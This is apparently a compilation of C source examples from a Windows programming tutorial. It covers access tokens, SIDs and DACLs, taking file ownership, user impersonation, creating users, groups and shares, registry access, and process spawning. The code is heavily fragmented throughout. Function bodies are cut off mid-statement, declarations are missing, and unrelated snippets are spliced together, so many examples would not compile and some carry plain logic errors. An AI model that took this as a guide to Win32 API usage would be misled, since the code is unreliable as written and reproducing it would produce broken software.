if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
printf("OpenProcessToken()-Getting the handle to access token failed: %u\n", GetLastError());
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else
printf("OpenProcessToken()-Getting the handle to access token is OK\n");
//**********************************************************************
// Enable the SE_TAKE_OWNERSHIP_NAME privilege.
if(!SetPrivilege(hToken, SE_TAKE_OWNERSHIP_NAME, TRUE))
{
// Verify the login
printf("You must be logged on as Administrator.\n");
printf("SetPrivilege()-Enable the SE_TAKE_OWNERSHIP_NAME privilege is NOT OK\n");
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else
{
printf("Your login credential is OK\n");
printf("SetPrivilege()-Enable the SE_TAKE_OWNERSHIP_NAME privilege is OK\n");
}
//*********************************************************************
// Set the new owner in the object's security descriptor.
dwRes = SetNamedSecurityInfo(
lpszDir, // name of the object
SE_FILE_OBJECT, // type of object
OWNER_SECURITY_INFORMATION, // change only the object's owner
pSIDAdmin, // SID of Administrator group
NULL,
NULL,
NULL);
if(dwRes != ERROR_SUCCESS)
{
printf("SetNamedSecurityInfo()-Could not set the new owner, error: %u\n", dwRes);
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else
printf("SetNamedSecurityInfo()-Changing the owner is OK\n");
//***********************************************************************
// Try again to modify the object's DACL, now that we are the owner.
dwRes = SetNamedSecurityInfo(
lpszDir, // name of the object
SE_FILE_OBJECT, // type of object
DACL_SECURITY_INFORMATION, // change only the object's DACL
NULL, NULL, // do not change owner or group
pACL, // DACL specified
NULL); // do not change SACL
if(dwRes == ERROR_SUCCESS)
{
printf("SetNamedSecurityInfo()-Successfully changed the DACL\n");
bRetval = TRUE;
}
else
{
printf("SetNamedSecurityInfo()-Failed changing the DACL, return value: %u\n", dwRes);
}
//**********************************************************************
// Verify that the SE_TAKE_OWNERSHIP_NAME privilege is disabled.
if(SetPrivilege(hToken, SE_TAKE_OWNERSHIP_NAME, FALSE))
{
printf("SetPrivilege()-Disable the SE_TAKE_OWNERSHIP_NAME privilege is OK.\n");
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else
{
printf("SetPrivilege()-Disable the SE_TAKE_OWNERSHIP_NAME privilege is NOT OK.\n");
printf("Or the privilege might be already disabled\n");
}
}
return bRetval;
}
==============================ModuleL=====================================
| |
| The program examples' source codes have been arranged in the same |
int main()
{
DWORD SidSize, SidSize2;
PSID TheSID = NULL;
LPTSTR pSid = "";
SidSize = SECURITY_MAX_SID_SIZE;
if(IsValidSid(TheSID))
printf("The SID is valid\n");
else
printf("The SID is not valid!\n");
//**********************************************************
// TODO: Then, use the string SID as needed.
// ...
// When done, don't forget to release the memory used.
//**********************************************************
if(LocalFree(TheSID) == NULL)
printf("Memory is freed up...\n");
//************************************************************
//*************************************************
if(!ConvertStringSidToSid(
StringSid, // Pointer to a null-terminated string
// containing the string-format SID to convert
&TheSID2)) // Pointer to a variable that receives a pointer to the converted SID
{
if(!(ConvertSidToStringSid(
TheSID2, // Pointer to the SID structure to be converted
&StringSid))) // Pointer to variable that receives the null-terminated SID string
{
printf("Reconversion-ConvertSidToStringSid() error %u\n", GetLastError());
exit(1);
}
else
{
printf("Reconversion-ConvertSidToStringSid() is OK.\n");
printf("The SID string for WinLocalSystemSid is: %s\n", pSid);
}
if(IsWellKnownSid(TheSID2, WinLocalSystemSid))
printf("The SID is a well known SID.\n");
else
printf("It is non well known SID, error %u.\n", GetLastError());
//**************************************************
if(IsValidSid(TheSID2))
printf("The SID is valid.\n");
else
printf("The SID is not valid!, error %u\n", GetLastError());
if(LocalFree(TheSID2) == NULL)
printf("Memory is freed up...\n");
return 0;
}
-------------------------------------------------------------------------------------------------------
//************************************************************
void Cleanup(PTOKEN_GROUPS ptgrp)
{
// Release the buffer for the token groups.
if(ptgrp != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)ptgrp);
}
//***************************************************************
//**************************************************************
// Get the logon SID and convert it to SID string...
BOOL GetLogonSID(HANDLE hToken, PSID ppsid)
{
BOOL bSuccess = FALSE;
DWORD dwIndex;
DWORD dwLength = 0;
PTOKEN_GROUPS ptgrp = NULL;
// Again, dummy initialization...
LPTSTR pSid = "";
// Get the required buffer size and allocate the TOKEN_GROUPS buffer.
if(!GetTokenInformation(
hToken, // handle to the access token
TokenGroups, // get information about the token's groups
(LPVOID) ptgrp, // pointer to TOKEN_GROUPS buffer
0, // size of buffer
&dwLength // receives required buffer size
))
{
if(GetLastError() != ERROR_INSUFFICIENT_BUFFER)
Cleanup(ptgrp);
else
ptgrp = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength);
if(ptgrp == NULL)
Cleanup(ptgrp);
else
printf("Buffer for TOKEN_GROUPS is OK.\n");
}
else
printf("GetTokenInformation()-Getting all the buffer and their size is OK\n");
//*******************************************************
// Convert the logon sid to SID string format
if(!(ConvertSidToStringSid(
ppsid, // Pointer to the SID structure to be converted
&pSid))) // Pointer to variable that receives the null-terminated SID string
{
printf("ConvertSidToStringSid() error %u\n", GetLastError());
Cleanup(ptgrp);
exit(1);
}
else
{
printf("ConvertSidToStringSid() is OK.\n");
printf("The logon SID string is: %s\n", pSid);
}
}
// If everything OK, returns a clean slate...
bSuccess = TRUE;
return bSuccess;
}
int main()
{
// Handle to token
HANDLE hToken;
// Just a dummy initial size of SID to avoid a NULL pointer
BYTE sidBuffer[256];
PSID ppsid = (PSID)&sidBuffer;
-------------------------------------------------------------------------------------------------------
int main()
{
// "testuser" is restrictive user created in
// the XP machine that runs this program
LPTSTR lpszUsername = "testuser";
// Local account database
LPTSTR lpszDomain = ".";
LPTSTR lpszPassword = "testuser";
DWORD dwLogonType = LOGON32_LOGON_INTERACTIVE;
DWORD dwLogonProvider = LOGON32_PROVIDER_WINNT50;
// Some dummy to avoid the NULL pointer of the phToken
PVOID myhandle;
PHANDLE phToken = (PHANDLE)&myhandle;
if(LogonUser(
lpszUsername, // Username
if(CloseHandle(hToken) != 0)
printf("The handle that received the token has been closed.\n");
else
printf("Something wrong, the handle cannot be closed! error: %u\n", GetLastError());
// Arrgghhh the handle cannot be closed, time for you to solve. The CloseHandle() accept
// HANDLE to an object, but here phToken is a pointer to HANDLE...
return 0;
}
-------------------------------------------------------------------------------------------------------
// For Win Xp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
// Handle to token
HANDLE hToken;
// Lets the calling process impersonate the security context of a logged-on user.
if(ImpersonateLoggedOnUser(hToken))
printf("ImpersonateLoggedOnUser() is OK.\n");
else
{
printf("ImpersonateLoggedOnUser() is not OK, error %u.\n", GetLastError());
exit(-1);
}
// Do other tasks
// ...
-------------------------------------------------------------------------------------------------------
int main()
{
DWORD dwRes, dwDisposition;
PSID pEveryoneSID = NULL, pAdminSID = NULL;
PACL pACL = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
// An array of EXPLICIT_ACCESS structure
EXPLICIT_ACCESS ea[2];
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;
SECURITY_ATTRIBUTES sa;
LONG lRes;
HKEY hkSub = NULL;
if(!InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION))
{
printf("InitializeSecurityDescriptor Error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}
else
printf("InitializeSecurityDescriptor() is OK\n");
-------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <aclapi.h>
BOOL ImpersonateAndCheckAccess(
HANDLE hNamedPipe, // handle of pipe to impersonate
PSECURITY_DESCRIPTOR pSD, // security descriptor to check
DWORD dwAccessDesired, // access rights to check
PGENERIC_MAPPING pGeneric, // generic mapping for object
PDWORD pdwAccessAllowed // returns allowed access rights
)
{
HANDLE hToken;
PRIVILEGE_SET PrivilegeSet;
DWORD dwPrivSetSize = sizeof(PRIVILEGE_SET);
BOOL fAccessGranted=FALSE;
Cleanup(hToken);
return fAccessGranted;
}
int main()
{
// TODO: Call ImpersonateAndCheckAccess() with appropriate
// parameters.
return 0;
}
==============================ModuleM=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
#include <windows.h>
#include <stdio.h>
#include <lm.h>
if(argc != 4)
{
fwprintf(stderr, L"Usage: %s ServerName UserName Password.\n", argv[0]);
// or use fwprintf(stderr, L"Usage: %s UserName Password.\n", argv[0]);
// for local machine and adjust other array element appropriately.
exit(1);
}
return 0;
}
----------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <lm.h>
if(argc != 4)
{
// For NT40 need to append \\Servername
fwprintf(stderr, L"Usage: %s ServerName UserName Password.\n", argv[0]);
// or use fwprintf(stderr, L"Usage: %s UserName Password.\n", argv[0]);
// for local machine and adjust other array element appropriately.
exit(1);
}
return 0;
}
----------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <assert.h>
#include <lm.h>
DWORD dwResumeHandle = 0;
DWORD i;
DWORD dwTotalCount = 0;
NET_API_STATUS nStatus;
LPTSTR pszServerName = NULL;
// Some prompt
// If argc == 1, local computer is assumed
if(argc > 2)
{
fwprintf(stderr, L"Usage: %s [ServerName]\n", argv[0]);
exit(1);
}
// The server name is supplied so it is not the default local computer.
if(argc == 2)
pszServerName = argv[1];
wprintf(L"\nUser accounts, flags and their privileges on %s machine: \n", pszServerName);
if(pTmpBuf == NULL)
{
fprintf(stderr, "An access violation has occurred\n");
break;
}
// Print the name of the user account, flag and their privilege.
wprintf(L"... %s::%0x::%0x\n", pTmpBuf->usri1_name, pTmpBuf->usri1_flags, pTmpBuf->usri1_priv);
pTmpBuf++;
dwTotalCount++;
}
}
}
return 0;
}
----------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <lm.h>
exit(1);
}
return 0;
}
----------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <lm.h>
return 0;
}
----------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <lm.h>
return 0;
}
==============================ModuleN=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
#include <windows.h>
#include <stdio.h>
#include <lm.h>
return 0;
}
-----------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <lm.h>
if(argc != 4)
{
fwprintf(stderr, L"Usage: %s ServerName GroupName Comment\n", argv[0]);
// Just exit, no further processing
exit(1);
}
return 0;
}
-----------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <lm.h>
if(argc != 4)
{
fwprintf(stderr, L"Usage: %s ServerName GroupName MemberAccountName-(DomainName\\AccountName)\n", argv[0]);
// Just exit, no further processing
exit(1);
}
argv[2],
dwLevel,
(LPBYTE)&lgmi3,
totalEntries);
return 0;
}
-------------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <lm.h>
if(argc != 4)
{
fwprintf(stderr, L"Usage: %s ServerName GroupName MemberAccountName-(DomainName\\AccountName)\n", argv[0]);
// Just exit, no further processing
exit(1);
}
(LPBYTE)&lgmi3,
totalEntries);
return 0;
}
----------------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <lm.h>
if(argc != 4)
{
fwprintf(stderr, L"Usage: %s ServerName UserName Password.\n", argv[0]);
// or use fwprintf(stderr, L"Usage: %s UserName Password.\n", argv[0]);
// for local machine and adjust other argc and argv[] array element appropriately.
exit(1);
}
return 0;
}
----------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <lm.h>
if(argc != 4)
{
fwprintf(stderr, L"Usage: %s ServerName GroupName Comment\n", argv[0]);
// Just exit, no further processing
exit(1);
}
nStatus = NetLocalGroupAdd(argv[1],
dwLevel,
(LPBYTE)&lgi1,
&dwError);
return 0;
}
----------------------------------------------------------------------------------------------------------------
USER_INFO_1 user_info;
LOCALGROUP_INFO_1 localgroup_info;
LOCALGROUP_MEMBERS_INFO_3 localgroup_members;
LPWSTR lpszPrimaryDC = L"mawar";
NET_API_STATUS err = 0;
DWORD parm_err = 0;
if(err != 0)
{
printf("Error getting DC name: %d\n", err);
return(err);
}
switch (err)
{
case 0:
printf("%ls user successfully created.\n", user_info.usri1_name);
break;
case NERR_UserExists:
printf("%ls user already exists.\n", user_info.usri1_name);
err = 0;
break;
case ERROR_INVALID_PARAMETER:
{
printf("Invalid Parameter Error adding user: Parameter Index = %d\n", parm_err);
NetApiBufferFree(lpszPrimaryDC);
return(err);
}
default:
printf("Error adding %ls user: %d\n", user_info.usri1_name, err);
NetApiBufferFree(lpszPrimaryDC);
return(err);
}
switch (err)
{
case 0:
printf("%ls Local Group successfully created.\n", localgroup_info.lgrpi1_name);
break;
case ERROR_ALIAS_EXISTS:
printf("%ls Local Group already exists.\n", localgroup_info.lgrpi1_name);
err = 0;
break;
case ERROR_INVALID_PARAMETER:
{
printf("Invalid Parameter Error adding Local Group: Parameter Index = %d\n", err, parm_err);
NetApiBufferFree(lpszPrimaryDC);
return(err);
}
default:
printf("Error adding %ls Local Group: %d\n", localgroup_info.lgrpi1_name, err);
NetApiBufferFree(lpszPrimaryDC);
return(err);
}
switch(err)
{
case 0:
printf("%ls user successfully added to %ls Local Group.\n", user_info.usri1_name, localgroup_info.lgrpi1_name);
break;
case ERROR_MEMBER_IN_ALIAS:
printf("User %ls already in %ls Local Group.\n", user_info.usri1_name, localgroup_info.lgrpi1_name);
err = 0;
break;
default:
printf("Error adding %ls user to %ls Local Group: %d\n", user_info.usri1_name, localgroup_info.lgrpi1_name, err);
break;
}
NetApiBufferFree(lpszPrimaryDC);
return (err);
}
// This program run at command prompt, receives 4 arguments: The domain name,
// user name (user account), user password and the group name.
int wmain(int argc, wchar_t *argv[])
{
NET_API_STATUS err = 0;
if(argc != 5)
{
printf("Usage: %ls <domain_name> <user_name> <password> <group_name>\n", argv[0]);
exit (-1);
}
-----------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <lm.h>
ui.usri1_name = wAccount;
ui.usri1_password = wPassword;
ui.usri1_flags = AccountType | UF_SCRIPT;
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_comment = L"A virtual machine created by NetUserAdd()...";
dwError = NetUserAdd(
wTargetComputer, // target computer name
1, // info level
(LPBYTE) &ui, // buffer
NULL
);
// This program run at command prompt, receives 2 arguments: The target server
if(argc != 3)
{
printf("Usage: %s <TargetComputer> <MachineAccount/Password>.\n", argv[0]);
exit (-1);
}
return 0;
}
==============================ModuleO=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
#include <windows.h>
#include <stdio.h>
#include <aclapi.h>
if(pEveryoneSID)
FreeSid(pEveryoneSID);
if(pAdminSID)
FreeSid(pAdminSID);
if(pACL)
LocalFree(pACL);
if(pSD)
LocalFree(pSD);
if(hkSub)
RegCloseKey(hkSub);
}
if(!InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION))
{
printf("InitializeSecurityDescriptor Error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}
else
printf("InitializeSecurityDescriptor() is OK\n");
RegCloseKey(hKey);
return 0;
}
----------------------------------------------------------------------------------------------------------------
// WARNING!!!
// If you don't know what you are doing, please don't try
// this code...and don't forget to delete the key or use
// RegDeleteKey()...
#include <windows.h>
#include <stdio.h>
#include <aclapi.h>
BOOL AddMyEventSource(
LPTSTR pszLogName, // Application log or a custom log
LPTSTR pszSrcName, // event source name
LPTSTR pszMsgDLL, // path for message DLL
DWORD dwNum) // number of categories
{
HKEY hk;
DWORD dwData;
TCHAR szBuf[MAX_PATH];
//********************************************
// Create the registry key
if(RegCreateKey(HKEY_LOCAL_MACHINE, szBuf, &hk))
{
printf("Could not create the registry key.");
return FALSE;
}
else
printf("SYSTEM\\CurrentControlSet\\Services\\EventLog\\%s\\%s created successfully.\n", pszLogName, pszSrcName);
//********************************************
// Set the name of the message file.
if(RegSetValueEx(hk, // subkey handle
"EventMessageFile", // value name
0, // must be zero
REG_EXPAND_SZ, // value type
(LPBYTE) pszMsgDLL, // pointer to value data
(DWORD) lstrlen(szBuf)+1)) // length of value data
{
printf("Could not set the event message file.");
return FALSE;
}
else
printf("The event message file has been set successfully.\n");
//********************************************
if(RegSetValueEx(hk, // subkey handle
"TypesSupported", // value name
0, // must be zero
REG_DWORD, // value type
(LPBYTE) &dwData, // pointer to value data
//********************************************************
// Set the category message file and number of categories.
if(RegSetValueEx(hk, // subkey handle
"CategoryMessageFile", // value name
0, // must be zero
REG_EXPAND_SZ, // value type
(LPBYTE) pszMsgDLL, // pointer to value data here we set
// same as "EventMessageFile"
(DWORD) lstrlen(szBuf)+1)) // length of value data
{
printf("Could not set the category message file.");
return FALSE;
}
else
printf("The category message file has been set successfully.\n");
//********************************************
if(RegSetValueEx(hk, // subkey handle
"CategoryCount", // value name
0, // must be zero
REG_DWORD, // value type
(LPBYTE) &dwNum, // pointer to value data
sizeof(DWORD))) // length of value data
{
printf("Could not set the category count.");
return FALSE;
}
else
printf("The category count has been set successfully.\n");
// Close the key
RegCloseKey(hk);
return TRUE;
}
return 0;
}
==============================ModuleP=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
#include <windows.h>
#include <stdio.h>
DWORD i, retCode;
CHAR achValue[MAX_VALUE_NAME];
DWORD cchValue = MAX_VALUE_NAME;
if(retCode == ERROR_SUCCESS)
{
printf("(%d) Value Name: %s.\n", i+1, achValue);
}
}
printf("Number of values: %d\n", cValues);
}
else
printf("No value under this key/subkey...\n");
}
if(lRet == ERROR_SUCCESS)
printf("RegOpenKeyEx() is OK.\n");
else
printf("RegOpenKeyEx() is not OK.\n");
QueryKey(hKey);
RegCloseKey(hKey);
return 0;
}
-----------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <pdh.h>
// And don't forget to include the pdh.lib into
// this project...
// Function prototype
PDH_STATUS GetRegistrySize(LPTSTR szMachineName, LPDWORD lpdwCurrentSize, LPDWORD lpdwMaximumSize);
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_HMODULE,
GetModuleHandle(TEXT("PDH.DLL")), pdhStatus,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), szMessage, 0, NULL);
LocalFree(szMessage);
}
return 0;
}
if(pdhResult != ERROR_SUCCESS)
// Just return the error...
return pdhResult;
else
printf("PdhOpenQuery() is OK.\n");
if(lpdwMaximumSize)
*lpdwMaximumSize = (DWORD) pdhRawValues.SecondValue;
return 0;
}
-----------------------------------------------------------------------------------------------------------
#define BUFSIZE 80
switch (osver.dwPlatformId)
{
//Test for the Windows NT product family.
case VER_PLATFORM_WIN32_NT:
if(osver.dwMajorVersion <= 4)
printf("Microsoft Windows NT ");
HKEY hKey;
char szProductType[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\ProductOptions",
0, KEY_QUERY_VALUE, &hKey);
if(lRet != ERROR_SUCCESS)
return FALSE;
else
printf("RegOpenKeyEx() is OK.\n");
RegCloseKey(hKey);
if(lstrcmpi("WINNT", szProductType) == 0)
printf("Workstation ");
if(lstrcmpi("LANMANNT", szProductType) == 0)
printf("Server ");
if(lstrcmpi("SERVERNT", szProductType) == 0)
printf("Advanced Server ");
RegCloseKey(hKey);
}
// Windows NT 3.51 and earlier or Windows 2000 and later
else
{
printf("%s (Build %d)\n", osver.szCSDVersion, osver.dwBuildNumber & 0xFFFF);
}
break;
case VER_PLATFORM_WIN32s:
printf("Microsoft Win32s\n");
break;
}
return TRUE;
}
-----------------------------------------------------------------------------------------------------------
{
HKEY hKey;
LONG lResult;
DWORD dwValue, dwType, dwSize = sizeof(dwValue);
// Neither a policy nor a preference was found; return the default value.
return dwDefault;
}
int main()
{
LPTSTR lpValueName = "Browse For Folder Height";
DWORD dwDefault = 0x00000000;
DWORD ret = ReadValue(lpValueName, dwDefault);
printf("The value data for the \'%s\' value name is 0X%.8X(%d).\n", lpValueName, ret, ret);
return 0;
}
-------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <string.h>
LPSTR lpNameStrings;
LPSTR *lpNamesArray;
return((PPERF_INSTANCE_DEFINITION)((PBYTE)PerfCntrBlk + PerfCntrBlk->ByteLength));
}
// Load the counter and object names from the registry to the
// global variable lpNamesArray.
BOOL GetNameStrings()
{
HKEY hKeyPerflib; // handle to registry key
dwBufferSize = sizeof(dwBuffer);
if(RegQueryValueEx(
hKeyPerflib,
"Last Counter",
NULL,
NULL,
(LPBYTE) &dwBuffer,
&dwBufferSize) != ERROR_SUCCESS)
return FALSE;
else
printf("RegQueryValueEx() is OK.\n");
RegCloseKey(hKeyPerflib);
if(lpNamesArray == NULL)
return FALSE;
// Get the size of the largest value in the key (Counter or Help).
if(RegQueryInfoKey(
hKeyPerflib009,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
&dwMaxValueLen,
NULL,
NULL) != ERROR_SUCCESS
)
return FALSE;
else
printf("RegQueryInfoKey() is OK.\n");
if(lpNameStrings == NULL)
{
free(lpNamesArray);
return FALSE;
}
else
printf("Memory allocated for lpNameStrings.\n");
printf("Please wait...\n");
return TRUE;
}
if(PerfData == NULL)
return FALSE;
while(RegQueryValueEx(
HKEY_PERFORMANCE_DATA,
"Global",
NULL,
NULL,
(LPBYTE) PerfData,
&BufferSize) == ERROR_MORE_DATA)
{
// Get a buffer that is big enough.
BufferSize += BYTEINCREMENT;
PerfData = (PPERF_DATA_BLOCK) realloc(PerfData, BufferSize);
}
if(PerfObj->NumInstances > 0)
{
// Get the first instance.
PerfInst = FirstInstance(PerfObj);
return TRUE;
}
==============================ModuleQ=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
// Unicode main()...
int wmain(int argc, TCHAR *argv[ ])
{
NET_API_STATUS res;
SHARE_INFO_2 p;
DWORD parm_err = 0;
// Some prompt...
if(argc < 5)
printf("Usage: %ls <server_name> <share_name> <share_remark> <share_pass>\n", argv[0]);
else
{
// Fill in the SHARE_INFO_2 structure.
p.shi2_netname = LPWSTR(argv[2]);
p.shi2_type = STYPE_DISKTREE; // disk drive including the directory...
p.shi2_remark = LPWSTR(argv[3]); // share remark
p.shi2_permissions = ACCESS_ALL; // all permission
p.shi2_max_uses = -1; // unlimited
p.shi2_current_uses = 0; // no current uses
// Try finding a way to accept the share path through the command line...
p.shi2_path = TEXT("F:\\myfolder"); // share path, here we want to share a folder
p.shi2_passwd = argv[4]; // password
-------------------------------------------------------------------------------------------------------------
// accept 3 arguments...
int wmain(int argc, TCHAR *argv[])
{
SHARE_INFO_1004 p;
NET_API_STATUS res;
DWORD parm_err = 0;
if(argc < 4)
printf("Usage: %ls <server_name> <share_name> <share \"remark\">\n", argv[0]);
else
{
// Fill in SHARE_INFO_1004 structure member.
p.shi1004_remark = argv[3];
-------------------------------------------------------------------------------------------------------------
if(argc < 3)
printf("Usage: %ls <server_name> <device_name>\n", argv[0]);
else
{
// Call the NetShareCheck() function.
res = NetShareCheck(argv[1], _wcsupr(argv[2]), &devType);
-------------------------------------------------------------------------------------------------------------
if(argc != 2)
{
printf("Usage: %ls <server_name>\n", lpszArgv[0]);
exit (1);
}
else
lpszServer = lpszArgv[1];
-------------------------------------------------------------------------------------------------------------
if(argc != 3)
printf("Usage: %ls <server_name> <share_name>\n", argv[0]);
else
{
// Call the NetShareDel() function to delete the share.
res = NetShareDel(argv[1], argv[2], 0);
-----------------------------------------------------------------------------------------------------------------
// Unicode main()...
int wmain(int argc, TCHAR *argv[ ])
{
NET_API_STATUS res;
SHARE_INFO_2 p;
DWORD parm_err = 0;
// Some prompt...
if(argc != 4)
printf("Usage: %ls <server_name> <share_name> <share_remark>\n", argv[0]);
else
{
// Fill in the SHARE_INFO_2 structure.
p.shi2_netname = LPWSTR(argv[2]);
p.shi2_type = STYPE_DISKTREE; // disk drive including the directory...
p.shi2_remark = LPWSTR(argv[3]); // share remark
p.shi2_permissions = ACCESS_ALL; // all permission
p.shi2_max_uses = -1; // unlimited
p.shi2_current_uses = 0; // no current uses
// Try finding a way to accept the share path through the command line...
p.shi2_path = TEXT("E:\\Domainshare"); // share path, here we want to share a folder
p.shi2_passwd = NULL; // no password
-------------------------------------------------------------------------------------------------------------
if(argc != 2)
{
printf("Usage: %ls <server_name>\n", lpszArgv[0]);
exit (1);
}
else
lpszServer = lpszArgv[1];
// Print a report...
printf("\nShare Local Path Uses Sec. Descriptor\n");
printf("------------------------------------------------------------------------------------\n");
else
printf("No\n");
pth++;
}
============================MODULER========================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================
#include <stdio.h>
return 0;
}
-------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <process.h>
switch(atoi(av[2]))
{
case 1:
_execl(av[1], av[1], "_execl", "two", NULL);
break;
case 2:
_execle(av[1], av[1], "_execle", "two", NULL, my_env);
break;
case 3:
_execlp(av[1], av[1], "_execlp", "two", NULL);
break;
case 4:
_execlpe(av[1], av[1], "_execlpe", "two", NULL, my_env);
break;
// ==========================================================
case 5:
_execv(av[1], args);
break;
case 6:
_execve(av[1], args, my_env);
break;
case 7:
_execvp(av[1], args);
break;
case 8:
_execvpe(av[1], args, my_env);
break;
default:
break;
}
---------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <process.h>
---------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <process.h>
{
int ret;
// An array pointers...
char *args[3];
-----------------------------------------------------------------------------------------
#include <stdio.h>
#include <process.h>
char *my_env[] =
{
"This=environment will be",
"passed=to child.exe by the",
"_spawnle()=and",
"_spawnlpe()=and",
"_spawnve()=and",
"_spawnvpe()=functions",
NULL
};
args[3] = NULL;
if (argc <= 2)
{
/* argv[0] argv[1] argv[2] */
printf("Usage: %s <child_program_name> <1-8>.\n", argv[0]);
